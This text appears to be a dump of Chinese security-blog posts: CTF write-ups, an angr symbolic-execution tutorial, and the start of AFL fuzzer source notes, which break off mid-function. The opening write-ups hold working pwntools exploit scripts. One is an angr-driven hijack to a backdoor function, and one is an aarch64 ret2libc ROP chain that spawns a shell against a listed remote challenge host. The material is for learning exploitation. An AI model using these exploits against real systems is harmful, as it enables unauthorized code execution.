self.state.regs.rax = getBVV(self.state, 4, 'int')p.hook_symbol("fksth", ReplacementCheckEquals())p.hook_symbol("input_line", ReplacementCheckInput())p.hook_symbol("input_val", ReplacementInputVal())\n\nangr 中的函数钩子模板如上,claripy.BVV(0, 32) 是用来生成向量符号的,相当于一个变量,第一个为变量名,第二个参数为变量的长度。\nself.state.regs.rax 则是用来设置寄存器数据的,因为函数的返回值由 rax 寄存器保存,因此将结果写入 self.state.regs.rax 。\n其他部分懒得写了,angr 姑且有 python 的语法结构,至少从语义上不难理解,细节可能要等以后学过 angr 才能看了。\nfrom pwn import *import angrimport claripyimport base64ret_rop = 0x4013C8r=process("./pwn")p = angr.Project("./pwn")def getBVV(state, sizeInBytes, type = 'str'): global pathConditions name = 's_' + str(state.globals['symbols_count']) bvs = claripy.BVS(name, sizeInBytes * 8) state.globals['symbols_count'] += 1 state.globals[name] = (bvs, type) return bvsdef angr_load_str(state, addr): s, i = '', 0 while True: ch = state.solver.eval(state.memory.load(addr + i, 1)) if ch == 0: break s += chr(ch) i += 1 return sclass ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len))class ReplacementInputVal(angr.SimProcedure): def run(self): self.state.regs.rax = getBVV(self.state, 4, 'int') p.hook_symbol("fksth", ReplacementCheckEquals())p.hook_symbol("input_line", ReplacementCheckInput())p.hook_symbol("input_val", ReplacementInputVal())enter = p.factory.entry_state()enter.globals['symbols_count'] = 0simgr = p.factory.simgr(enter, save_unconstrained=True)d = simgr.explore()backdoor = p.loader.find_symbol('backdoor').rebased_addrfor state in d.unconstrained: bindata = b'' rsp = state.regs.rsp next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness) state.add_constraints(state.regs.rip == ret_rop) state.add_constraints(next_stack == backdoor) for i in range(state.globals['symbols_count']): s, s_type = state.globals['s_' + str(i)] if s_type == 'str': bb = state.solver.eval(s, cast_to=bytes) if bb.count(b'\\x00') == len(bb): bb = b'A' * bb.count(b'\\x00') bindata += bb print(bb) elif s_type == 'int': bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ' print(str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ') print(bindata) gdb.attach(r,"b*0x4079D7") r.send(bindata) r.interactive() break\n\nret2libc_aarch64题目本身没有难点,一个任意地址泄露和一个无限栈溢出,但问题在于,程序是 aarch64 指令集,没学过这一套,加上需要 qemu 运行,不知道该怎么调试程序。\n这里介绍一个能够通过 python 脚本交互的调试方案:\n在 python 脚本里通过 qemu-aarch64 -g 1234 ./pwn 来启一个端口服务,此时该服务就会开始等待 gdb 连接:\nfrom pwn import *context(os = "linux", arch = 'aarch64', log_level = 'debug')libc = ELF('./libc.so.6')file = './pwn'elf = ELF(file)p = process('qemu-aarch64 -g 1234 ./pwn', shell=True)p.recvuntil('>\\n')io.interactive()shell()\n\n接下来另外启一个 shell:\n$ gdb-multiarch ./pwnpwndbg> b *0x4009A0pwndbg> target remote:1234\n\n然后这个 shell 中的 gdb 就会连接到 python 脚本中启动的服务上,然后其他过程正常调试即可。\n另外一个点是,aarch64 平台下,函数返回值储存在 X30 寄存器中,这个寄存器在 GDB 中不会直接显示在上方的寄存器组中:\n─────────────────────────────────[ REGISTERS ]────────────────────────────────── X0 0xb X1 0x40009bc5c0 ◂— 0x0 X2 0xfbad2887 X3 0x40009bf500 ◂— 0x0 X4 0x10 X5 0x8080808080800000 X6 0xfefefefefeff3d3d X7 0x7f7f7f7f7f7f7f7f X8 0x40 X9 0x5 X10 0xa X11 0xffffffffffffffff X12 0x400084fe48 ◂— 0x0 X13 0x0 X14 0x0 X15 0x6fffff47 X16 0x1 X17 0x40008b1928 (puts) ◂— stp x29, x30, [sp, #-0x40]! X18 0x73516240 X19 0x4009b8 (__libc_csu_init) ◂— stp x29, x30, [sp, #-0x40]! X20 0x0 X21 0x4006f0 (_start) ◂— movz x29, #0 X22 0x0 X23 0x0 X24 0x0 X25 0x0 X26 0x0 X27 0x0 X28 0x0 X29 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0 SP 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0*PC 0x400948 (overflow) ◂— stp x29, x30, [sp, #-0x90]!\n\n需要通过 info reg x30 查看具体值:\npwndbg> info reg x30x30 0x400864 4196452\n\n其中重点需要关注的质量是:\nLDP x29, x30, [sp], #0x40:将sp弹栈到x29,sp+0x8弹栈到x30,最后sp += 0x40。\nSTP x4, x5, [sp, #0x20]:将sp+0x20处依次覆盖为x4,x5,即x4入栈到sp+0x20,x5入栈到sp+0x28,最后sp的位置不变。\n可以注意到,程序会将栈中的数据写入到 x30 寄存器来修改返回值,这意味栈溢出仍然能够劫持执行流。\n然后就是漫长的调试去通过 ROP 确定返回劫持控制流了:这里直接用了 Nirvana 师傅的 ROP 链\nfrom pwn import *context(os = "linux", arch = 'aarch64', log_level = 'debug')libc = ELF('./libc.so.6')file = './pwn'elf = ELF(file)local = 1if local: io = process('qemu-aarch64 -g 1234 ./pwn', shell=True)else: io = remote('39.106.76.68',30154)r = lambda : io.recv()rx = lambda x: io.recv(x)ru = lambda x: io.recvuntil(x)rud = lambda x: io.recvuntil(x, drop=True)s = lambda x: io.send(x)sl = lambda x: io.sendline(x)sa = lambda x, y: io.sendafter(x, y)sla = lambda x, y: io.sendlineafter(x, y)li = lambda name,x : log.info(name+':'+hex(x))shell = lambda : io.interactive()ru('>\\n')s('1')ru('sensible>>\\n')s(p64(elf.got['puts']))libcbase = u64(rx(3).ljust(8,b'\\x00')) + 0x4000000000 - libc.sym['puts']li('libcbase',libcbase)ru('>\\n')s('2')ru('sensible>>\\n')#padding 136system = libcbase + libc.sym['system']bin_sh = libcbase + next(libc.search(b'/bin/sh\\x00'))gadget1_addr=libcbase + 0x72450gadget2_addr=libcbase + 0x72448payload = p64(gadget2_addr)*2 + b'a'*0x78 + p64(gadget1_addr)+ p64(gadget2_addr)*7+p64(bin_sh) + p64(system)*5io.sendline(payload)io.send('3')io.interactive()shell()\n\nnote这题倒是没啥难度,当时起床晚了看了一下题目,leof 师傅三下五除二就搞出来了就没继续看了。\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Angr 使用技巧速通笔记(一)","url":"/2023/04/12/angr-tips-1/","content":"前言在基本了解了模糊测试以后,接下来就开始看看一直心心念念的符号执行吧。听群友说这个东西的概念在九几年就有了,算是个老东西,不过 Angr 本身倒是挺新的,看看这个工具能不能有什么收获吧。\n按照计划,一方面是 Angr 的使用技巧,另一方面是 Angr 的源代码阅读。不过因为两者的内容都挺多的,所以本篇只写使用技巧部分,如果未来有这样的预订,或许还会有另外一篇。希望以我这种菜鸡水平也能看得懂吧。\nAngr 的基本描述首先在开始解释 Angr 的各个模块和使用之前,我们需要先对它是如何工作的有一个大概的认识。\n我们一般用 Angr 的目的其实就是为了自动化的求解输入,比如说逆向或是 PWN。而它的原理被称之为“符号执行”。\nAngr 其实并不是真正被运行起来的,它就向一个虚拟机,会读取每一条命令并在虚拟机中模拟该命令的行为。我们类比到更加常用的 z3 库中,每个寄存器都可以相当与 z3 中的一个变量,在模拟执行的过程中,这个变量会被延伸为一个表达式,而当我们成功找到了目标地址之后,通过表达式就可以求解对应的初值应该是什么了。\n看着简单,但是您或许听说过,这类符号执行有一个现今仍为解决的麻烦问题:路径爆炸。\nAngr 被称之为 IR-Based 类的符号执行引擎,他会对输入的二进制重建对应的 CFG ,在完成重建后开始模拟执行。而对于分支语句,就需要分支出两个不同的情况:跳转 和 不跳转 。在一般情况下,这不会引发问题,但是我们可以考虑如下的代码:\nnum=xxxfor(int i=0;i<1000;i++)//<---- judge 1{ if(num==0x6666){//<----- judge 2 break; } else{ num+=1; }}\n\n当符号执行引起遇到循环语句,由于循环语句本身就需要判断是否应该跳出循环,因此引擎会在这里开始分叉为两个情况。\n而如果这个循环里又嵌套了判断条件,那么就需要再次分叉为两条路径。\n也就是说,对于一个人为理解起来相当易懂的循环判断,符号执行引擎却会因此分叉出指数级别增长的分支数量。\n但这还不是最简单的情况,我们可以更极端一点考虑这么一个情况:\nwhile(1){ if(condition) { break; }}\n\n循环本身是一个死循环,尽管我们靠自己的思维能够理解,它会在未来的某一个跳出循环,但符号执行引擎却不知道这件事,因此每一次遇到判断跳转都需要进行分叉,最后这个路径就会无限增长,最后把内存挤爆,然后程序崩溃。\n说了这么多,其实是为了将清楚一件事,“符号执行引擎是通过按行读取的方式模拟执行每条机器码,并更新对应变量,最后在通过约束求解的方式去逆推输入初值的”。\nAngr 基本模块一般来说,使用 Angr 的基本流程如下:\nimport angrproject = angr.Project(path_to_binary, auto_load_libs=False)state = project.factory.entry_state()sim = project.factory.simgr(state)sim.explore(find=target)if simulation.found: res = simulation.found[0] res = res.posix.dumps(0) print("[+] Success! Solution is: {}".format(res.decode("utf-8")))\n\n笔者一直以来都是套这个模板对二进制程序一把梭,但既然现在要开始正经思考一下怎么办,总要对里面的各种模块有所了解了。\nProject 模块project = angr.Project(path_to_binary, auto_load_libs=False)\n\n对于一个使用 angr.Project 加载的二进制程序,angr 会读取它的一些基本属性:\n>>> project=angr.Project("02_angr_find_condition",auto_load_libs=False) >>> project.filename '02_angr_find_condition'>>> project.arch <Arch X86 (LE)>>>> hex(project.entry) '0x8048450'\n\n这些信息会由 angr 自动分析,但是如果你有需要,可以通过 angr.Project 中的其他参数手动进行设定。\nLoader 模块而对于一个 Project 对象,它拥有一个自己的 Loader ,提供如下信息:\n>>> project.loader <Loaded 02_angr_find_condition, maps [0x8048000:0x8407fff]>>>> project.loader.main_object <ELF Object 02_angr_find_condition, maps [0x8048000:0x804f03f]>>>> project.loader.all_objects [<ELF Object 02_angr_find_condition, maps [0x8048000:0x804f03f]>, <ExternObject Object cle##externs, maps [0x8100000:0x8100018]>, <ExternObject Object cle##externs, maps [0x8200000:0x8207fff]>, <ELFTLSObjectV2 Object cle##tls, maps [0x8300000:0x8314807]>, <KernelObject Object cle##kernel, maps [0x8400000:0x8407fff]>]\n\n当然实际的属性不止这些,而且在常规的使用中似乎也用不到这些信息,不过这里为了完整性就一起记录一下吧。\nLoader 模块主要是负责记录二进制程序的一些基本信息,包括段、符号、链接等。\n>>> obj=project.loader.main_object>>> obj.plt {'strcmp': 134513616, 'printf': 134513632, '__stack_chk_fail': 134513648, 'puts': 134513664, 'exit': 134513680, '__libc_start_main': 134513696, '__isoc99_scanf': 134513 712, '__gmon_start__': 134513728}>>> obj.sections <Regions: [<Unnamed offset 0x0, vaddr 0x0, size 0x0>, <.interp offset 0x154, vaddr 0x8048154, size 0x13>, <.note.ABI-tag offset 0x168, vaddr 0x8048168, size 0x20> , <.note.gnu.build-id offset 0x188, vaddr 0x8048188, size 0x24>, <.gnu.hash offset 0x1ac, vaddr 0x80481ac, size 0x20>, <.dynsym offset 0x1cc, vaddr 0x80481cc, siz e 0xa0>, <.dynstr offset 0x26c, vaddr 0x804826c, size 0x91>, <.gnu.version offset 0x2fe, vaddr 0x80482fe, size 0x14>, <.gnu.version_r offset 0x314, vaddr 0x804831 4, size 0x40>, <.rel.dyn offset 0x354, vaddr 0x8048354, size 0x8>, <.rel.plt offset 0x35c, vaddr 0x804835c, size 0x38>, <.init offset 0x394, vaddr 0x8048394, size 0x23>, <.plt offset 0x3c0, vaddr 0x80483c0, size 0x80>, <.plt.got offset 0x440, vaddr 0x8048440, size 0x8>, <.text offset 0x450, vaddr 0x8048450, size 0x4ea2>, < .fini offset 0x52f4, vaddr 0x804d2f4, size 0x14>, <.rodata offset 0x5308, vaddr 0x804d308, size 0x39>, <.eh_frame_hdr offset 0x5344, vaddr 0x804d344, size 0x3c>, <.eh_frame offset 0x5380, vaddr 0x804d380, size 0x110>, <.init_array offset 0x5f08, vaddr 0x804ef08, size 0x4>, <.fini_array offset 0x5f0c, vaddr 0x804ef0c, size 0x4>, <.jcr offset 0x5f10, vaddr 0x804ef10, size 0x4>, <.dynamic offset 0x5f14, vaddr 0x804ef14, size 0xe8>, <.got offset 0x5ffc, vaddr 0x804effc, size 0x4>, <.go t.plt offset 0x6000, vaddr 0x804f000, size 0x28>, <.data offset 0x6028, vaddr 0x804f028, size 0x15>, <.bss offset 0x603d, vaddr 0x804f03d, size 0x3>, <.comment offset 0x603d, vaddr 0x0, size 0x34>, <.shstrtab offset 0x67fa, vaddr 0x0, size 0x10a>, <.symtab offset 0x6074, vaddr 0x0, size 0x4d0>, <.strtab offset 0x6544, va ddr 0x0, size 0x2b6>]>\n\n对外部库的链接也同样支持查找:\n>>> project.loader.find_symbol('strcmp') &nbsp;&nbsp;&nbsp; <Symbol "strcmp" in cle##externs at 0x8100000>>>> project.loader.find_symbol('strcmp').rebased_addr 135266304 >>> project.loader.find_symbol('strcmp').linked_addr 0 >>> project.loader.find_symbol('strcmp').relative_addr 0\n\n同时也支持一些加载选项:\n\nauto_load_libs:是否自动加载程序的依赖\nskip_libs:避免加载的库\nexcept_missing_libs:无法解析共享库时是否抛出异常\nforce_load_libs:强制加载的库\nld_path:共享库的优先搜索搜寻路径\n\n我们知道,在一般情况下,加载程序都会将 auto_load_libs 置为 False ,这是因为如果将外部库一并加载,那么 Angr 就也会跟着一起去分析那些库了,这对性能的消耗是比较大的。\n而对于一些比较常规的函数,比如说 malloc 、printf、strcpy 等,Angr 内置了一些替代函数去 hook 这些系统库函数,因此即便不去加载 libc.so.6 ,也能保证分析的正确性。这部分内容接下来会另说。\nfactory 模块该模块主要负责将 Project 实例化。\n我们知道,加载一个二进制程序只是符号执行能够开始的第一步,为了实现符号执行,我们还需要为这个二进制程序去构建符号、执行流等操作。这些操作会由 Angr 帮我们完成,而它也提供一些方法能够让我们获取到它构造的一些细节。\nBlock 模块Angr 对程序进行抽象的一个关键步骤就是从二进制机器码去重构 CFG ,而 Block 模块提供了和它抽象出的基本块间的交互接口:\n>>> project.factory.block(project.entry) <Block for 0x8048450, 33 bytes> >>> project.factory.block(project.entry).pp() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_start: 8048450 &nbsp;xor &nbsp;&nbsp;&nbsp;&nbsp;ebp, ebp 8048452 &nbsp;pop &nbsp;&nbsp;&nbsp;&nbsp;esi 8048453 &nbsp;mov &nbsp;&nbsp;&nbsp;&nbsp;ecx, esp 8048455 &nbsp;and &nbsp;&nbsp;&nbsp;&nbsp;esp, 0xfffffff0 8048458 &nbsp;push &nbsp;&nbsp;&nbsp;eax 8048459 &nbsp;push &nbsp;&nbsp;&nbsp;esp 804845a &nbsp;push &nbsp;&nbsp;&nbsp;edx 804845b &nbsp;push &nbsp;&nbsp;&nbsp;__libc_csu_fini 8048460 &nbsp;push &nbsp;&nbsp;&nbsp;__libc_csu_init 8048465 &nbsp;push &nbsp;&nbsp;&nbsp;ecx 8048466 &nbsp;push &nbsp;&nbsp;&nbsp;esi 8048467 &nbsp;push &nbsp;&nbsp;&nbsp;main 804846c &nbsp;call &nbsp;&nbsp;&nbsp;__libc_start_main>>> project.factory.block(project.entry).instruction_addrs (134513744, 134513746, 134513747, 134513749, 134513752, 134513753, 134513754, 134513755, 134513760, 134513765, 134513766, 134513767, 134513772)\n\n可以看出 Angr 用 call 指令作为一个基本块的结尾。在 Angr 中,它所识别的基本块和 IDA 里看见的 CFG 有些许不同,它会把所有的跳转都尽可能的当作一个基本块的结尾。\n\n当然也有无法识别的情况,比如说使用寄存器进行跳转,而寄存器的值是上下文有关的,它有可能是函数开始时传入的一个回调函数,而参数有可能有很多种,因此并不是总能够识别出结果的。\n\n>>> block. block.BLOCK_MAX_SIZE &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.capstone &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.instructions &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.reset_initial_regs() &nbsp;&nbsp;&nbsp;&nbsp;block.size block.addr &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.codenode &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.parse( &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.serialize() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.thumb block.arch &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.disassembly &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.parse_from_cmessage( &nbsp;&nbsp;&nbsp;&nbsp;block.serialize_to_cmessage() &nbsp;block.vex block.bytes &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.instruction_addrs &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.pp( &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.set_initial_regs() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block.vex_nostmt\n\nState 模块>>> state=project.factory.entry_state()<SimState @ 0x8048450>>>> state.regs.eip <BV32 0x8048450>>>> state.mem[project.entry].int.resolved <BV32 0x895eed31>>>> state.mem[0x1000].long = 4>>> state.mem[0x1000].long.resolved <BV32 0x4>\n\n这个 state 包括了符号实行中所需要的所有符号。\n通过 state.regs.eip 可以看出,所有的寄存器都会替换为一个符号。该符号可以由模块自行推算,也可以人为的进行更改。也正因如此,Angr 能够通过条件约束对符号的值进行解方程,从而去计算输入,比如说:\n>>> bv = state.solver.BVV(0x2333, 32) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BV32 0x2333>>>> state.solver.eval(bv) 9011\n\n另外还存在一些值,它只有在运行时才能够得知,对于这些值,Angr 会将它标记为 UNINITIALIZED :\n>>> state.regs.edi WARNING &nbsp; 2023-04-12 17:28:41,490 angr.storage.memory_mixins.default_filler_mixin The program is accessing register with an unspecified value. This could indicate unwanted behavior.WARNING &nbsp; 2023-04-12 17:28:41,491 angr.storage.memory_mixins.default_filler_mixin angr will cope with this by generating an unconstrained symbolic variable and con tinuing. You can resolve this by:WARNING &nbsp; 2023-04-12 17:28:41,491 angr.storage.memory_mixins.default_filler_mixin 1) setting a value to the initial state WARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make un known regions hold nullWARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppr ess these messages. WARNING &nbsp; 2023-04-12 17:28:41,492 angr.storage.memory_mixins.default_filler_mixin Filling register edi with 4 unconstrained bytes referenced from 0x8048450 (_start +0x0 in 02_angr_find_condition (0x8048450))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BV32 reg_edi_1_32{UNINITIALIZED}>\n\n另外值得一提的是,除了 entry_state 外还有其他状态可用于初始化:\n\nblank_state:构造一个“空白板”空白状态,其中大部分数据未初始化。当访问未初始化的数据时,将返回一个不受约束的符号值。\nentry_state:造一个准备在主二进制文件的入口点执行的状态。\nfull_init_state:构造一个准备好通过任何需要在主二进制文件入口点之前运行的初始化程序执行的状态,例如,共享库构造函数或预初始化程序。完成这些后,它将跳转到入口点。\ncall_state:构造一个准备好执行给定函数的状态。\n\n这些构造函数都能通过参数 addr 来指定初始时的 rip/eip 地址。而 call_state 可以用这种方式来构造传参:call_state(addr,&nbsp;arg1,&nbsp;arg2,&nbsp;...)\nSimulation Managers 模块SM(Simulation Managers)是一个用来管理 State 的模块,它需要为符号指出如何运行。\n>>> simgr = project.factory.simulation_manager(state) <SimulationManager with 1 active> >>> simgr.active [<SimState @ 0x8048450>]\n\n通过 step 可以让这组模拟执行一个基本块:\n>>> simgr.step() <SimulationManager with 1 active> >>> simgr.active [<SimState @ 0x8048420>]>>> simgr.active[0].regs.eip <BV32 0x8048420>\n\n此时的 eip 对应了 __libc_start_main 的地址。\n同样也可以查看此时的模拟内存状态,可以发现它储存了函数的返回地址:\n>>> simgr.active[0].mem[simgr.active[0].regs.esp].int.resolved &nbsp;&nbsp; <BV32 0x8048471>\n\n而我们比较熟悉的 simgr 其实就是 simulation_manager 简写:\n>>> project.factory.simgr() <SimulationManager with 1 active> >>> project.factory.simulation_manager() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <SimulationManager with 1 active>\n\nSimProcedure在前文中提到过 Angr 会 hook 一些常用的库函数来提高效率。它支持一下这些外部库:\n>>> angr.procedures. angr.procedures.SIM_LIBRARIES &nbsp;&nbsp;angr.procedures.glibc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_util &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.ntdll &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.uclibc angr.procedures.SIM_PROCEDURES &nbsp;angr.procedures.gnulib &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.posix &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.win32 angr.procedures.SimProcedures &nbsp;&nbsp;angr.procedures.java &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libstdcpp &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.procedure_dict &nbsp;angr.procedures.win_user32 angr.procedures.advapi32 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_io &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.linux_kernel &nbsp;&nbsp;&nbsp;angr.procedures.stubs &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angr.procedures.cgc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_jni &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.linux_loader &nbsp;&nbsp;&nbsp;angr.procedures.testing &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angr.procedures.definitions &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.java_lang &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.msvcr &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.tracer\n\n以 libc 为例就可以看到,它支持了一部分 libc 中的函数:\n>>> angr.procedures.libc. angr.procedures.libc.abort &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.fprintf &nbsp;&nbsp;&nbsp;angr.procedures.libc.getuid &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.setvbuf &nbsp;&nbsp;&nbsp;angr.procedures.libc.strstr angr.procedures.libc.access &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.fputc &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.malloc &nbsp;&nbsp;&nbsp;&nbsp;angr.procedures.libc.snprintf &nbsp;&nbsp;angr.procedures.libc.strtol......由于函数过多,这里就不展示了\n\n因此如果程序中调用了这部分函数,默认情况下就会由 angr.procedures.libc 中实现的函数进行接管。但是请务必注意,官方文档中也有提及,一部分函数的实现并不完善,比如说对 scanf 的格式化字符串支持并不是很好,因此有的时候需要自己编写函数来 hook 它。\nhook 模块紧接着上文提到的问题,Angr 接受由用户自定义函数来进行 hook 的操作。\n>>> func=angr.SIM_PROCEDURES['libc']['scanf']>>> project.hook(0x10000, func())>>> project.hooked_by(0x10000) &nbsp;&nbsp;&nbsp; <SimProcedure scanf>>>> project.unhook(0x10000)>>> project.hooked_by(0x10000) WARNING &nbsp; 2023-04-12 19:20:39,782 angr.project &nbsp;&nbsp; Address 0x10000 is not hooked\n\n第一种方案是直接对地址进行 hook,通过直接使用 project.hook(addr,function()) 的方法直接钩取。\n同时,Angr 对于有符号的二进制程序也运行直接对符号本身进行钩取:project.hook_symbol(name,function) 。\n参考阅读\nangr 系列教程(一)核心概念及模块解读https://xz.aliyun.com/t/7117\nangr documentationhttps://docs.angr.io/en/latest/quickstart.html\n\n","categories":["Note","漏洞挖掘"],"tags":["Angr","漏洞挖掘","符号执行"]},{"title":"AFL 源代码速通笔记","url":"/2023/04/12/aflsourcecodeview/","content":"AFL 源代码速通笔记因为认识的师傅们都开始卷 fuzz 了,迫于生活压力,于是也开始看这方面的内容了。由于 AFL 作为一个现在仍然适用且比较经典的 fuzzer,因此笔者也打算从它开始。\n\n本来,本篇博文叫做 《AFL 源代码阅读笔记》,结果跟着大佬们的笔记去读(sakura师傅的笔记确实是神中神,本文也有很多地方照搬了师傅的原文,因为说实话我觉得自己也写不到那么详细),囫囵吞枣般速通了,前前后后三天时间这样,但感觉自己尚且没有自己实现的能力,还是比较令人失望的(我怎么这么菜)\n\n\nafl-gcc 原理首先,一般我们用 afl 去 fuzz 一些项目的时候都需要用 afl-gcc 去代替 gcc 进行编译。先说结论,这一步的目的其实是为了向代码中插桩,完成插桩后其实还是调用原生的 gcc 进行编译。\n其实这个描述有些偏颇,插桩其实是 afl-as 负责的,不过在这里,笔者将 afl-gcc 和 afl-as 放到同一节,因此用了这样的表述,下文会具体分析 afl-as 的原理。\n\n首先需要说明的是,gcc 对代码的编译流程的分层次的:\n\n源代码–>预编译后的源代码–>汇编代码–>机器码–>链接后的二进制文件\n\n其中,从源代码到汇编代码的步骤由 gcc 完成;而汇编代码到机器码的部分由 as 完成。\n而 afl-gcc 的源代码如下:\nint main(int argc, char** argv) { ....... find_as(argv[0]); edit_params(argc, argv); execvp(cc_params[0], (char**)cc_params); FATAL("Oops, failed to execute '%s' - check your PATH", cc_params[0]); return 0;}\n\n\nfind_as:查找 as 这个二进制程序,用 afl-as 替换它\nedit_params:修改参数\nexecvp:调用原生 gcc 对代码进行编译\n\nstatic void edit_params(u32 argc, char** argv) { ......#else if (!strcmp(name, "afl-g++")) { u8* alt_cxx = getenv("AFL_CXX"); cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++"; } else if (!strcmp(name, "afl-gcj")) { u8* alt_cc = getenv("AFL_GCJ"); cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj"; } else { u8* alt_cc = getenv("AFL_CC"); cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; }#endif /* __APPLE__ */ } while (--argc) { u8* cur = *(++argv); if (!strncmp(cur, "-B", 2)) { if (!be_quiet) WARNF("-B is already set, overriding"); if (!cur[2] && argc > 1) { argc--; argv++; } continue; } if (!strcmp(cur, "-integrated-as")) continue; if (!strcmp(cur, "-pipe")) continue;#if defined(__FreeBSD__) && defined(__x86_64__) if (!strcmp(cur, "-m32")) m32_set = 1;#endif if (!strcmp(cur, "-fsanitize=address") 